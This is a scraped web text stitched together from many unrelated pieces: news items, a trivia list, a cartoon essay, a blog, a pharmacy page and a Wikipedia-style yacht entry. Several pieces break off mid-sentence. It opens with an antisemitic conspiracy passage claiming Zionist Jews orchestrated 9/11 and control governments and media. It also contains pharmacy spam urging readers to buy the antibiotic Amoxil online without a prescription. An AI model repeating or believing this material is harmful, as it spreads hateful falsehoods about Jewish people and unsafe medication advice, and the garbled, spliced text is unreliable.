Thus, there can be considered to be three groups of Jews: the anti-Zionists, the "misinformed" Zionists, and a minority of criminal Zionists such as those who orchestrated 9/11. This third group of rabid Zionists are only too pleased to exploit Zionism for criminal purposes: the pursuit of power and wealth at the expense of others. And of course, there is no shortage of non-Jewish criminal Zionists, from the former Bush administration, for example. However, Bush and Cheney could not have pulled off 9/11; Nixon couldn't even get away with Watergate. If it had simply been a matter of a rogue government perpetrating 9/11, the mainstream media and the opposition party would have had a feeding frenzy. It was necessary for the cancer to have taken hold to the point of a Rothschildian 'democracy', in which the incumbent and the opposition are protégé-puppets of the organ grinders, and the media is run by individuals whose priority is Zionism rather than truth.
The second group - the "misinformed" Zionist Jews - will sway the balance. Some will say that they are guilty for supporting Zionism, even if they are misinformed as to its true nature. But people are innocent until proven guilty, and any innocent human being deserves the right to peace and security irrespective of race or religion. If these Jews sincerely wish to live in peace and their support of Zionism is not for nefarious purposes, then they are "innocent" by most measures. Reasonable people would not want to see them harmed. However, in any revolution, the mob will not stop to consider which Jews are "innocent" and which are "guilty". This is why all |
, 71, west on Route 70 when they were hit by a van making a left turn onto Massachusetts Avenue from Route 70 East, according to Police Chief Michael Mastronardy.
Abel Hernandez, 28, of Lake wood, allegedly fled the scene and was apprehended within the hour, Mastronardy said.
Hernandez is charged with being an unlicensed driver, reckless driving, death by auto, leaving the scene of an injury accident, and driving under the influence along with other He was taken to Ocean County Jail in lieu of $175,000 bail.Hernandez is also being held on a detainer from ICE motor vehicle charges, Mastronardy said.
McCarthy’s first accident took place at the intersection of Route 9 and Route 70. She struck the rear of a car that was being operated by a 73 year old Manchester Township woman who was slowing in traffic, police said.
Her husband, who is in serious condition at Jersey Shore Hospital, picked her up from the scene, less than a mile from their home.Since we have adopted the term “factlet” for our little fact lists, we have produced four lists of fascinating titbits of knowledge. This list is the fifth and it contains mostly facts but also some myth debunking which is always a bonus. Enjoy the list and be sure to add your own to the comments.
1 Factlets 1 – 5
1. Karl Marx is the father of communism for which the Soviet Union is most famous – but in fact, he never stepped foot in Russia. That leads us to another fascinating factlet about communism:
2. Communism is the third step of a three step plan – the first step is revolution (to remove the monarchy or government), the second step is the establishment of a ruling proletariat which is called “socialism” (a government of the people). When the socialist government attains its main goal – removal of all private property ownership, the government is meant to step down and the state becomes headless – this is communism. Accordingly, there has never been a true communist state as all socialist states end up retaining their government.
3. The Earl of Sandwich gave his name to the snack, but he didn’t invent it. The first recorded example of a sandwich comes from the first century BC when Rabbi Hillel put chopped nuts, apples, spices, and wine between two pieces of matzoh – making what is known as “charoset”.
4. The Dead Sea is not the saltiest lake in the world – that honor goes to Lake Asaal in Djibouti (pictured above). It has 400 grams of salt per liter while the Dead Sea has 340 grams per liter. But don’t go rushing to Lake Asaal for a holiday – the lake emits a foul stench and if you wade barefoot, you are likely to have your feet torn to shreds by shards of crystalized salt.
5. While we often yawn when we are tired, we also yawn for a whole variety of other unrelated reasons – when bored, nervous, and sometimes for no reason at all. Dogs also yawn when tired, excited, or tense.
2 Factlets 6 – 10
6. While Shakespeare is attributed as the author to the often wrongly quoted phrase “all that glisters is not gold” it was, in fact, first said in the 12th century by philosopher Alain de L’Isle who said: “Do not hold everything that shines like gold.”
7. We know that the sphinx is missing its nose – but it is not because of Napoleon. The true reason for the loss of its nose is unknown but it is most likely that it was caused by sand erosion over the years.
8. Most cats are lactose intolerant and should not be given milk beyond the kitten stage. Instead, give your cat water to drink – he will thank you for it by not leaving loose stools all around the house.
9. The first olympics were not just sporting events – they also included mental sports. When the olympics were revived in modern times, these “brain games” eventually made it back (in 1912). Alongside the sporting events we all know, the 1912 olympics included architecture, painting, sculpture, music, and literature. They survived until 1948 when they were removed because most entrants were professionals in their field. Pictured above is “Rugby” by Jean Jacoby who won his second of two gold medals in olympic art with this drawing.
10. Contrary to popular belief, elephants don’t create graveyards. While there are cases of large numbers of elephant skeletons found in close proximity to one another, this is mostly due to the fact that the old elephants tend to stay close to a water hole and, consequently, die there.
3 Factlets 11 – 15
11. 35 passengers died in the dreadful Hindenburg disaster; but did you know that 97 other passengers survived the event? There were a total of 36 deaths as one member of the 200 strong ground crew was also killed.
12. If you are planning to visit Roswell in search of aliens, you will be sorely disappointed. The famous Roswell alien crash site was not in Roswell at all! It is just called that because it is the closest large city to the site. Of the three locations were debris was found, the closest to Roswell is 30 miles north of the down.
13. Charles Lindbergh was not the first to fly nonstop across the Atlantic. That honor goes to two British pilots: John Alcock and Arthur Whitten Brown in 1919 (8 years before Lindbergh). In fact, when Lindbergh made his historic flight, at least 81 others had already done so.
14. Marx never said “Religion is the opiate of the masses”. What he did say was: “Religious suffering is, at one and the same time, the expression of real suffering and a protest against real suffering. Religion is the sigh of the oppressed creature, the heart of a heartless world, and the soul of the soulless conditions. It is the opium of the people.”
15. Listverse has existed for two and a half years (three years in July 2010). In that time we have posted 1,318 articles and have received 240,000 comments. We have roughly 6 million viewers visiting the site each month and that number continues to grow. Woohoo!
Follow us on Facebook or subscribe to our daily or weekly newsletter so you don't miss out on our latest lists.(Washington, DC) – Judicial Watch announced today that it obtained records from the Department of the Air Force in response to Freedom of Information Act Request (FOIA) requests that show President Trump’s flights to Mar-a-Lago for two weekends (in February and March) cost $1,281,420.00.
According to the Air Force documents, the cost to operate Air Force One is $142,380 per hour. The Air Force records show a total of nine hours for trips from Feb. 3 – 6 and March 3 – 6. The latter trip involved a stop in Orlando where Trump met Education Secretary Betsy DeVos to tour a private Catholic school in support of school vouchers.
On February 3-6, Air Force One traveled 4.7 hours of flight time @ $142,380 per hour for a total of $669,186
In March, Air Force One flew 4.3 hours at $142,380 per hour for a total of $612,234, which includes the jaunt to Orlando, an additional half-hour of flight costs.
The Secret Service has not responded to Judicial Watch’s request for records about this or any other trip by President Trump and other administration VIPs. Other trip cost information requests to the Air Force also remain pending
Since 2009, Judicial Watch tracked President Obama’s travel, resulting in a tabulation of at least $96,938,882.51 in taxpayer dollars for Obama family travel during his eight years in office.
“We’re pleased the Air Force finally gave us some numbers for President Trump’s travel,” said Judicial Watch President Tom Fitton. “We’re preparing to go to court to get a full accounting of President Trump’s controversial trips. Judicial Watch tracked some of the costs of President Obama’s unnecessary travel and we’re not closing up shop with a new administration.”
###A reader asked me to cover the Canadian banks – a great idea considering their changing technical profile of late. The big Canadian banks are looking precarious right now. Using the BMO “ZEB” ETF shares as our proxy, we can see that the sector is suffering. A double top formation on the daily chart was verified by a neckline break of $28. The ETF is now testing support around $27. If that level doesn’t hold, the Canadian banks could enter into a new world of pain. Volume on the topping formation is high, which suggests that this top may be the real deal. The volume is unique to the ETF, but ZEB is owned by many investors who want exposure to the sector—so the higher volume is indicative of the changing viewpoint on the sector. Watch $27 carefully on this ETF – a break would be quite bearish.
Something I found of interest on this chart is that virtually all of the momentum studies I follow– short (stochastics), mid-term (RSI) and longer termed (MACD) were diverging long before this top occurred. Despite the two peaks of the recent highs being about the same, there was an early warning negative divergence on the momentum oscillators—as shown by my pink trendline notations on the indicators. Note that all of the indicators are oversold right now, but are not yet hooking up. There is a good chance that the banks will stage an oversold rally at current $27 support. But I would be cautious as to the legitimacy of such a rally.
Should $27 hold – investors may want to hold their shares. But a break of that level for more than a few days could mean trouble. This is a sector I am avoiding for the time being.
Keith on BNN
Just a heads up—I’m on MarketCall on Monday April 3rd at 5:30pm. I’ll post another notice before the show.» August 17, 2014
Korra draws parallels to real-world march to war
by Kevin Hillman
"The series manages to create a mythical epic while grounding it in an unfortunate part of the human experience. We may never be able to bend the elements, but we can relate to the feelings of helplessness as we watch the world around us descend into war."
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In a recent Nerd/Wise article, I defended the medium of animation as art on par with cinema and modern television dramas by pointing out the incredible social commentary in the first season of Legend of Korra. The program, however, was originally made to be a miniseries, and thus fit an entire story arc into only a dozen episodes, leaving out the filler that was more prevalent in its predecessor, Avatar: The Last Airbender.
Korra debuted as a big success, and Nickelodeon ordered three more seasons of the show. With over 40 new episodes to produce and no original plan to make any more than 12, the series creators had to get to work, leaving fans reasonably skeptical. But Bryan Konietzko and Michael Dante DiMartino did not disappoint with Korra’s second season and continued to showcase the narrative capacity of animated television.
How were they able to keep the show compelling? Konietzko and DiMartino created a season that expanded on the show’s spiritual aspects while grounding the narrative in a much more human story — the philosophical disputes and reasons that lead to war. And the on-screen machinations reflect real, historical precedents for the march to war.
Legend of Korra’s second season follows the protagonist as the society she knows begins to crumble around her. In the process, she becomes a participant in a dangerous process that almost leads her people into a civil war. The slippery slope begins, as they often do, with a supposed visionary pushing his beliefs on others, convinced he is on a spiritual crusade.
In the real world, when someone is so convinced he is on the one true path, he is often liable to take extreme measures to spread that supposed truth. We see this today, with the unrecognized Islamic State terrorizing Iraq and Greater Syria, as well as al-Qaida and other fundamentalist religious groups operating around the globe. Throughout history, we have seen these same attitudes manifesting in the Crusades, the Inquisition, and hundreds of other times when two distinct faiths have come into contact.
In Legend of Korra, it is Unalaq, Korra’s uncle, who believes the Southern Water Tribe has lost its spiritual way and seeks to rectify the situation. He shows Korra that the evolution and progress of humanity is actually harmful to its well-being, as their lack of spiritual understanding has led to a rising frequency of attacks from the Spirit World. After Unalaq saves Korra from an attack by a wayward spirit, the Avatar begins to trust Unalaq, at the expense of her own father, who suspects deception in his zealot brother.
Unalaq is the Chief of the Water Tribes, and his belief in the South’s spiritual failings leads him to take action. But Unalaq’s actions have consequences, and his attitudes inspire a rebellious attitude among the citizens of the South. Those citizens become convinced that independence is the only answer and begin their planning in secret meetings. In this way, the South’s actions mirror those of the American colonists in 1776, who grew tired of the British Parliament’s tightening grip.
The Sons of Liberty met in secret and began advocating for independence as the rest of the nation slowly became convinced. Troops occupying Massachusetts convinced most of the locals that action needed to be taken, and Parliament’s attempts to maintain control ironically caused them to lose it. Unalaq acts in much the same way, sending soldiers to occupy the South, raising tensions and marching his people closer to war. While Massachusetts delegate John Adams pushed the Continental Congress to declare independence, King George III made his intentions clear by sending in many more troops to quash the American rebellion. Adams was finally able to win over his colleagues by pointing out the obvious: that a state of war already existed between the colonies and their mother country.
The American Revolution tore families apart, and in Legend of Korra, the Avatar’s father and uncle find themselves on opposite sides of a conflict that promises to be destructive and deadly. When Unalaq’s intentions become clear, Korra decides to take action against her uncle and defend her father and people. Korra seeks out the help of a powerful nation to bring down the overbearing Unalaq and his troops.
During the American Revolution, it was Benjamin Franklin who sought a powerful nation, France, to help the struggling rebellion. Franklin used wit and his crafty personality to persuade King Louis XVI to send assistance to the Americans. Korra is a bit more direct — and characteristically abrasive — when asking the president of Republic City for help, and the president is unwilling to help out the independence seekers.
Without the help of the president, Korra tries realpolitik, going right to the Republic military with the request for help. Korra, as the spiritual center of the Avatar world, holds a lot of sway, and her brashness brings to light the problems with autocracy, whether within a theocracy or even a constitutional monarchy. If the decision to go to war lies in the hands of only one person, it could come about simply on a whim while a diplomatic solution is still viable. This is the reason the U.S. Constitution grants war-making powers to the legislative, and not the executive, branch of government.
Of course, in practice, that’s not the only way armed conflict actually takes shape in the United States. Spreading the war-making powers out among hundreds of people does not entirely tie the hands of the commander in chief and doesn’t mean senseless wars don’t happen. Especially not in a world in which war is profitable.
In trying to protect her people, Korra receives help from the character that perhaps best epitomizes American plutocracy in the entire show, Varrick. Varrick is the head of a large corporation with its hands in everything from manufacturing to media. Varrick uses his money to influence the politics of the world, funding the political campaigns of both Republic City presidential candidates, supporting the rebels in the South, and selling the weapons of war. Varrick is so blatant in his intentions that he makes Halliburton and Blackwater look like Girl Scouts, even outright saying, “If you can’t make money during war, then you just can’t make money.”
Varrick represents everything wrong with the current American military-industrial complex. Varrick is amoral, showing none of the traits we would normally associate with cartoon villainy, yet performing some of the most evil actions in the show. Varrick sees war as big business and will do what he has to in order to ensure fighting breaks out. He hires criminals to bomb public spaces to build support for the rebels, and sends them to rob Future Industries to force Asami to sell her company to him. Varrick then plans to profit even more off of the war by selling those same rebels Future Industries aircraft and robots.
Varrick even proves to be a master of propaganda. He enlists the help of Korra’s friend, Bolin, to star in “movers,” the Avatar world’s movies, which show Unalaq as a blatantly evil, Fu Manchu-like villain, ironically playing off the fact that the villains in the Avatar world are often colored with shades of gray. This, too, has its analog in world history.
During the World Wars, both sides of the conflict used movies to propagate their messages, often to a ridiculous degree. The Nazis disseminated their ideology with films such as Triumph of the Will and The Eternal Jew, while in America, Frank Capra released the film series Why We Fight to rally Americans behind the cause. Dr. Seuss was commissioned during the war to draw cartoons supporting the war effort, including some racist depictions of the Japanese, while Batman fought Asian stereotypes in film serials, and Superman made sure to “slap a Jap” in the comic books. Today, movies may not be as blatant in their propaganda, but using the media to spread a message — and even to start a war — is very much alive.
Legend of Korra, despite Nickelodeon’s decision to limit the show to digital distribution, continues to be an impressive work of fiction. The series manages to create a mythical epic while grounding it in an unfortunate part of the human experience. We may never be able to bend the elements, but we can relate to the feelings of helplessness as we watch the world around us descend into war. We can only hope that cooler heads ultimately prevail, but with so many factors constantly pushing the world toward conflict, that hope often seems misguided.
Kevin Hillman works in television and is equally capable of discussing 19th century tax law and Pokemon battle tactics. He lives on Planet Coruscant with an Ewok named Moo.Running Map
I love data. I love quantifying data. I love molding data and modeling data and learning from data. I mix cheerios and rice crispy treats together so I can eat 1’s and 0’s.
Okay…..
Now that I have that out of my system I’d like to take you on a very swift journey of my running over the past year. March of 2011 I decided to quit smoking. It was a good choice. I can go on about how great I feel, but I’m sure everyone has heard it before. Quitting smoking sucks, but it’s worth it. Jump ahead 3 months and I noticed something different about myself.
Somehow I brought a “softer side” upon myself, where my 5’9″ frame suddenly held 30 pounds that it hadn’t seen before.
I wanted to work out, but didn’t know how to trick myself into liking it. I started cycling and eventually transitioned into running. I tried a couple of other methods of tracking my routes but found runkeeper easy to use and fairly painless. One of my favorite features was the mapping capabilities, and the fact that I like data made me even more giddy when I started researching that I could actually extract this data too. Check out this map that I made using the gpx data exported from runkeeper.
I extracted all my data using their handy “download everything” button found on your accounts page.
After that, I was emailed a ZIP file with a bunch of GPX files. GPX is a light-weight XML data format for the interchange of GPS data, it’s really easy to work and very user friendly.
The after the ZIP was extracted, I needed to find a way to crunch everything onto one map, enter stage right Google Earth. Google Earth made easy work of the files, as all I had to do was import all the GPX files with a File>Open, then I got all of my routes under the “Temporary Places”. I then used it to generate a KMZ file. A KMZ file is essentially a ton of KML files (which are alot like GPX files).
The KMZ needed to be hosted somewhere, so I dumped it on my web server and pointed google maps to the url of the file.
Here’s a link to the actual map: http://goo.gl/maps/TJbl
Victory! I had a map that I could zoom in and out of, as well as host and share with others. I am currently researching ways of automating a portion or maybe even all of this process. If you have any tips or advice on how to do this automatically, please feel free to contact me!U.S. Sen. Elizabeth Warren is calling the Democratic National Committee’s email scandal an “embarrassment to the nation” after leaks showed the party actively?favoring Hillary Clinton over Bernie Sanders, and adds she was flummoxed by Clinton bringing the DNC chief who resigned in disgrace into her campaign.
The sharp criticism of her own party and the Clinton campaign is highly unusual for Warren, who has taken on the role of Clinton surrogate — to attack Donald Trump and try to woo Sanders’ progressive voters into the fold.
“What happened over at the Democratic national party should not have happened,” Warren told WCVB (Ch. 5) in an interview aired yesterday. “It is an embarrassment to the party and it is an embarrassment to the nation.”
Asked her thoughts on Clinton tapping disgraced DNC Chairwoman Debbie Wasserman Schultz as honorary chair of her 50-state program to help elect Democrats, Warren replied, “I did not understand that.”
“I think that the right thing was that Debbie Wasserman Schultz resigned, I think that was appropriate,” Warren said. “People have been fired, I think that’s appropriate. … We need somebody to get in there and clean house.”
The comments come as Trump has been hammering Clinton over the DNC issue and her own email scandal, calling her a “dangerous liar.”
Still, Clinton is leading Trump by 7 percent to 8 percent in recent polls. Former N.H. GOP Chairman Fergus Cullen said he senses Clinton is reverting to a “play it safe” strategy and laying low as Trump continues to make controversial remarks.
“It’s not a strategy to?assume your opponent is?going to continue killing himself, but in this case it could work,” Cullen said. “She’s got lots of vulnerabilities. Most Americans don’t believe that she’s truthful and honest.”
Clinton will deliver what aides are billing as a?major economic speech on Thursday in Detroit, which Trump is expected to follow next Monday with his own economic address in the same city.
Trump yesterday took a shot at Baltimore Mayor Stephanie Rawlings-Blake, who replaced Wasserman Schultz to gavel in the Democratic National Convention and last week criticized Trump for skipping the?National Urban League’s conference in her city.
“I see where Mayor Stephanie Rawlings-Blake of Baltimore is pushing Crooked hard,” Trump tweeted. “Look at the job she has done in Baltimore. She is a joke!”Sunnyvale, California-based Advanced Micro Devices has some big plans for its fans, as the chipmaker will reportedly updated both of its CPU and GPU lineups with new products due out in the near future. Aside from the already rumored 45nm-based processors, the company also plans to add a new Radeon graphics card, which will be largely based on the GPU of its current Radeon HD 4830 (RV770LE). According to recent reports, AMD is planning the launch of the Radeon HD 4730, which will be featured with the RV770CE GPU.
As indicated by a recent post on Expreview, the upcoming card will still take advantage of AMD's latest 55nm manufacturing technology and be released as a shrunk version of the Radeon HD 4830, which is based on the RV770LE graphics processing unit. However, the Radeon 4730 is based on the new RV770CE GPU and will be paired with GDDR5 memory chips, for increased performance. As far as technical specifications go, the card's core and memory frequencies have been set to 700/900Mhz respectively.
AMD will apparently launch said card as an alternative to NVIDIA's low-power, mainstream GeForce 9600GT 512MB video accelerator. In addition, according to available reports, the new card will allow AMD to provide its fans with a solution to the shortages of Radeon HD 4830 GPUs. As far as performance goes, we still have to wait for some of the early benchmarks.
PowerColor will be among the first to unveil the new card, as the company's design has already been leaked on the Internet, featuring a red PCB and an AC L2 Pro cooler. The card apparently requires a considerable amount of power, as it has been featured with a 6-pin external power connector. The card is expected to become available next week for a price of US$79.Most of us in times of illness seek salvation in antibiotics, often — without prior consultation with a medical professional. Their incredible ability to effect..
What is Amoxil?
Refers to the broad-spectrum penicillins; active ingredient is the semi synthetic amoxicillin. Has a bactericidal effect with the optimum spectrum of antimicrobial activity, is not sensitive to microorganisms that can produce penicillinase. Amoxicillin is penicillin protected with high efficiency of action against many bacteria; the advantage is the presence of clavulanic acid, which makes the medicine resilient to lactamases (penicillinase). Clavulanic acid causes a competitive irreversible suppression of beta-lactamase, which also allows the reducing the phenomenon of cross-immunity against antimicrobial agents.
In what kind of disease treatment, Amoxil is helpful?
Ailments provoked by microorganisms sensitive to the preparation, including infectious processes of:
• Otolaryngological organs and lungs
• The digestive tract and hepatobiliary system
• The urinary tract and kidneys
• The derm and soft tissues
• Bone tissue and joints
• Prophylaxis of postoperative infectious sequelae
What should I tell my health care provider before I take Amoxil?
The main aspect of the reason why you have to discuss with your physician expediency of healing with a particular remedy is that some violation of your condition can be serious forbiddances to this remedy. And it is a qualified professional who can tell you all the probable prohibitions. Among them are:
• Hypersensibility to amoxicillin trihydrate and / or other ingredients of the medication, as well as to other antibiotics of penicillin series; sick with strong susceptibility to cephalosporin antibiotics must think through the probability of cross reactivity
• Infectious mononucleosis, lymphatic leukemia
• During lactation period
• Kids younger than 1 year
How should I take Amoxil?
The product must be used only by the physician`s approval. Amoxil has to be taken through the mouth (irrespective of food intake). Scheme of application and portions is set individually, bearing in mind the aspects of the ailment. To enhance your own safety, consult with your personal medic on establishments where you can get Amoxil. Or buy Amoxil online without prescription.
Amoxil dosage information
The standard dosing regimen for adults and kids above 10 with infections of mild or moderate severity:
500 - 750 mg 2 times a day; for kids ages 3-10 years — 375 mg 2 times per day or 250 mg 3 times daily; aged from 1 year to 3 years — 250 mg 2 times daily or 125 mg 3 times a day.
The daily amount for kids is 30 - 60 mg / kg of body weight separated into 2 - 3 intakes.
In chronic illnesses, recurrences, heavy degree ailments for adults the intake makes 0.75 - 1 g 3 times a day; kids — 60 mg / kg of body weight divided into 2 - 3 intakes.
The maximum diurnal intake for full-grown persons is 6 g.
In acute complicated gonorrhea prescribe 3 grams of the remedy for 1 reception in combination with 1 g of probenecid.
For the eradication of Helicobacter pylori and stomach or duodenal ulcer Amoxil prescribe as a part of complex therapy by the approved international schemes:
- Within 7 days: 1 g of amoxicillin 2 times per day + 500 mg of clarithromycin 2 times a day + 40 mg of omeprazole for 1 or 2 admission
- Within 7 days 0.75-1 g of amoxicillin 2 times daily + 400 mg of metronidazole 3 times daily + 40 mg of omeprazole for 1 or 2 admission.
The maximum diurnal intake for full-grown persons is 6 g.
The preparation has to be continued within 2 - 3 days after the disappearance of symptoms. For infections of mild to medium severity preparation is used for 5-7 days. For infections caused by beta-hemolytic streptococcus, treatment duration should be at least 10 days.
What may interact with?
Concomitant consumption of amoxicillin and oral birth control pills reduces the effectiveness of the latter, and there is a chance of bleeding.
The withdrawal of amoxicillin from the body by the kidneys is slowed down while the application of probenecid, oksyfenbutazon, phenylbutazone, acetyl salicylic acid, indomethacin, sulfinperazon.
Preparations that have a bacteriostatic effect (tetracyclines, macrolides and chloramphenicol) may neutralize the bactericidal effect of amoxicillin.
Forced diuresis leads to a concentration reduction of amoxicillin in the blood by improving its elimination.
Concomitant administration of allopurinol may upsurge the repetition of allergic reactions of the skin.
Simultaneous healing with antacids inhibits absorption of amoxicillin.
If you are currently using or planning to use shortly any pharmaceutical products, provide your medical professional with a list of them, as only he or she can evaluate all the possible pros and cons of such mixing.
What should I watch for while taking Amoxil?
Sick with serious disturbances of the digestive tract, followed by diarrhea and vomiting, should not use oral form of amoxicillin because this is related to the threat of reduction of absorption.
For sick with renal impairment dose correction is required.
High concentrations of amoxicillin in the urine can cause sediment of Amoxil in the catheter. Therefore, catheters must be regularly checked.
In sick with reduced urine output, there is a probability of crystalluria. It is suggested to take plenty of fluids and maintain adequate urine output to reduce the probability of formation of crystals of Amoxil.
In kids Amoxil can stain the color of tooth enamel, so the strict adherence to oral hygiene is required.
With caution must be given to people with viral infections, acute lymphatic leukemia, since in this case increases the thread of skin rash.
The people who manage auto transport or work with other mechanisms must display extra caution since there is a threat of negative replies of the nervous system.
Amoxil side effects
While using Amoxil are potential:
• Rash, itching, hives, redness, fever, Stevens-Johnson syndrome, toxic epidermal necrolysis, skin hyperkeratosis, bullous and exfoliative dermatitis, eczema, enantema, anaphylaxis and angio-neurotic edema, vasculitis
• Queasiness, vomiting, diarrhea, anorexia, dry mouth, taste disorder, bloating, soreness and abdominal pain, colitis, black "hairy" tongue
• Interstitial nephritis
• Hemolytic anemia, reversible thrombocytopenia, reversible leukopenia
• Moderate upsurge of liver enzymes, infrequently – hepatitis and jaundice
• Anxiety, restlessness, sleeplessness, loss of consciousness, behavior disorder, dizziness, headache; in sick with impaired renal function are possible convulsions
• Weakness, candidiasis of mucous membranes
Nevertheless, do not panic prematurely. If the physician has decided to cure you with this remedy, so he or she estimated that it must be easily tolerated by your organism and the benefits of such healing far exceed the possible dangers. But bear in mind that any signs of discomfort require urgent medical examination.
Where can I keep Amoxil?
Keep in the original blister. The temperature of a storage environment must be equal to or below 25°C. Keep away from kids and animals. It must be convenient to get this medicine from many pharmaceutical distributors (you can choose one on the suggestion of your pharmacologist) or you might buy cheap Amoxil pharmacy online UK.ES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
Up to 70,000 City jobs could be lost in the “catastrophic” event Britain crashed out of the Single Market when it leaves the EU, a major report has warned.
The Centre for London think tank called for Mayor Sadiq Khan to be given a major role in EU negotiations to help mitigate the risk of the capital losing its “creative edge and variety” after Brexit.
One year 'City Maker Visas' should be launched in London to allow EU citizens to come and live in the capital for a year while looking for work or start-up opportunities, the report suggested.
The report, called 'Open City', also called for an extended two-year working holiday visa for young Europeans, with fast-track work permit applications for both groups.
It warned that while London is better-equipped than some other parts of the UK to the risks of Brexit because of its long-standing ties with other major European cities, it is also "more exposed" in other ways.
"Our universities, hotels, restaurants, offices and building sites are powered by students and workers from across the EU to a far greater extent than the rest of the country, the report said.
"And our global city service sectors need urgent clarity on how access to the Single Market will be regulated."
It added: "Falling out of the Single Market without a comprehensive trade deal or adequate transitional arrangements would be catastrophic for many London businesses, as would the sudden loss of EU workers."
The report came as the government was set to unveil the ‘Repeal Bill’ ending the supremacy of Brussels law. The legislation will transpose EU law into UK law so there is no change to the legal framework on the day of Brexit.
The Centre for London also warned that the capital is also threatened by the potential harm Brexit will inflict on its ability to attract the young students, musicians, artists and entrepreneurs from around the world who will go on to be the decision-makers and superstars of the future and act as "lifelong ambassadors for London".
"The longer-term risk is more subtle but no less serious - the erosion of the creative edge, liveability and variety that distinguishes London from so many other cities that can offer well-equipped offices and international airports," the report said.
"London needs to remain open and also needs to become more affordable and liveable.
"It needs to continue to attract students from across the world, and to speak out against attempts to hit arbitrary immigration targets by cutting their numbers."
The report raised the possibility that last year's vote for Brexit was in part driven by resentment outside the capital of London's dominant position in the UK.
It warned: "It may be that resentment of London was a factor in the EU referendum, but neither capital nor country can afford for London to decline economically or to retreat from international engagement."Demoralized as Hell, Morning Joe & the Last Gasp Poll before Realville
I haven’t dived deeply into polls much lately because frankly there has been no point, Mitt Romney has this race and baring the “Live Boy Dead girl” scenario it’s not changing. (actually considering Romany’s rep it wouldn’t take a dead girl, a live girl would shatter his clean image completely)
But with one week to go the last gasp effort to rally the MSNBC troops took place today on Morning Joe as they touted the Quinnipiac/CBS?NYT polls Saying Obama is up 5 in Ohio with a week to go.
What really got me was their claim that the Quinnipiac poll was the “most accurate” and again playing the “poll denier” card. I’ve personally found their numbers the least believable and while they were talking about the fights in other states as an alternative to Ohio for Romney I looked up the internals of this Ohio/VA/Florida poll and found this:
After talking about how reliable Quinnipiac is, for 15 minutes and while I was tweeting out the D+8 samples in all of these states D+7 in Florida, they suddenly pivoted as Mark Halperin brought up the D+8 sample and people asked how can this be the case if Mitt is up by huge margins among independents in this poll?
At this time they made the case that the split in the sample defines the electorate while I argue that the accurate of the poll is based on how the splits match the electorate.
Now Polls have limitation based on the response rate and the various methods of getting people to answer but the actual registration and demographics of a state are a reality, they may change over time but they are what they are no matter what but of a sample is used.
In the 7 AM Hour more of the same and in the 8 |
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May 30, 2013, 2:29 PM GMT By Rebecca Ruiz
Ten years ago, the lives of a dozen Liberian orphans were forever changed when they visited a tiny North Carolina community.
The young boys had traveled to the U.S. from the West African country of Liberia to raise awareness of the needs of children whose parents had died during the country's years-long civil war.
From Virginia to Ohio to Minnesota, they traveled in buses and sang together as a choir, fundraising for their orphanage.
Lysa Terkeurst, a mom of three girls who lives near Charlotte, North Carolina, was so moved by the boys’ performance at a local church that she was inspired to do the extraordinary.
“These 12 beautiful boys from the other side of the world got up and started to sing from the depth of their soul, just the most beautiful music,” Terkeurst told TODAY's Jenna Bush Hager. “I was very challenged by the reality that these boys who had been singing and smiling and just had such joy in their life, that they had nothing.”
Terkeurst asked to adopt two of the boys, Jackson and Mark, who were barely teenagers at the time. The two are not related, but consider themselves brothers.
When Mark met Terkeurst, he felt a natural connection and called her “Oma,” a term that’s equivalent to “ma” in English. Jackson, who had lived in an orphanage since the age of six after his parents were murdered, quickly followed Mark’s lead.
Now 24 and in college, Jackson has spent the past 10 years as part of the Terkeurst family.
“I'm living a dream that I once dreamed of when I was a kid,” he told TODAY.
He’s grateful that when he wakes up in the morning he no longer worries about the violence that once terrorized him as a child.
“You never know what's gonna happen anytime, any moment,” he said of his life in Liberia. “Now, I'm in a safe home and a safe country.”
Jackson and Mark weren’t the only orphans to leave Liberia behind after their fateful visit to the Charlotte, N.C. area.
Since that 2003 visit, more than 45 children have been adopted from that orphanage.
Genia Rogers, a close friend of Terkeurst’s, adopted a boy named Robert, who is now 21.
“Well, I think what has happened is, [it’s] like a pebble gets thrown into the pond and then the ripples grow,” she told TODAY of the community's many adoptions.
Terkeurst remembers fondly the day when Jackson walked into the kitchen and asked her how to slow dance.
“And so I took his hand. And he took my hand,” Terkeurst said. “It was beautiful. That was one of those moments where I said, ‘I love you.’”
Jackson whispered back, “And I love you.”USS Sequoia is a former United States presidential yacht used from Herbert Hoover to Jimmy Carter, who had it sold in 1977. The ship was decommissioned under Roosevelt and lost its "USS" status at that time, but by popular convention the title is still often used.[3] NorshipCo, a Norfolk-based shipbuilder and dry-docking company, repossessed the yacht after its owners, Presidential Yacht Sequoia Foundation, failed to pay the $3 million it cost to renovate the vessel.[4] Sequoia was designated a National Historic Landmark in 1987.[2][5] The yacht is 104 feet (32 m) long, with a wooden hull, and was designed by John Trumpy Sr., a well-known shipbuilder. It includes a presidential stateroom, guest bedrooms, a galley and dining room, and was at one time retrofitted with an elevator for Franklin D. Roosevelt (Lyndon Johnson had it removed and replaced with a liquor bar).[3]
In June 2000, she was sold via auction on Bid4Assets,[4] to Gary Silversmith who took ownership that September. In November 2004, she was sought for repurchase by the US government, but the owner declined the offer.[3] In December of 2014 Sequoia was hauled out of the water and placed in storage at a commercial boat yard awaiting resolution of a court case involving her ownership.[6] In November of 2016 the yacht was transferred to new owners after lengthy litigation.[7] As of July 2017 the yacht was still in storage.[8]
Construction [ edit ]
Sequoia started out as Sequoia II, a private yacht built for $200,000 in 1925/1926 at a Camden, New Jersey shipyard. She was built for Richard Cadwalader of Philadelphia, Pennsylvania, who sold her to William Dunning, the president of the Sequoia Oil Company in Texas.
U.S. government service [ edit ]
Sequoia was purchased in 1931 by the United States Department of Commerce, for Prohibition patrol and decoy duties. Bootleggers would see what they thought was a rich-man's yacht and boat over to offer to sell illegal liquor, and then undercover police would arrest them. Herbert Hoover, an avid fisherman, had decommissioned the presidential yacht Mayflower in 1929 as an economy measure, and borrowed Sequoia from the Commerce Department as an unofficial yacht during the last two years of his presidency. Hoover was not personally a supporter of prohibition and drank while on the yacht.[3]
In 1933, Sequoia was transferred to the United States Navy, where she was commissioned and given her USS status, serving officially as the presidential yacht for three years, until replaced by the Potomac in 1936. Although Franklin Roosevelt chose the Potomac as his official yacht, he continued to use Sequoia as well.
Sequoia. First Lady Pat Nixon regularly hosted inner-city schoolchildren onboard
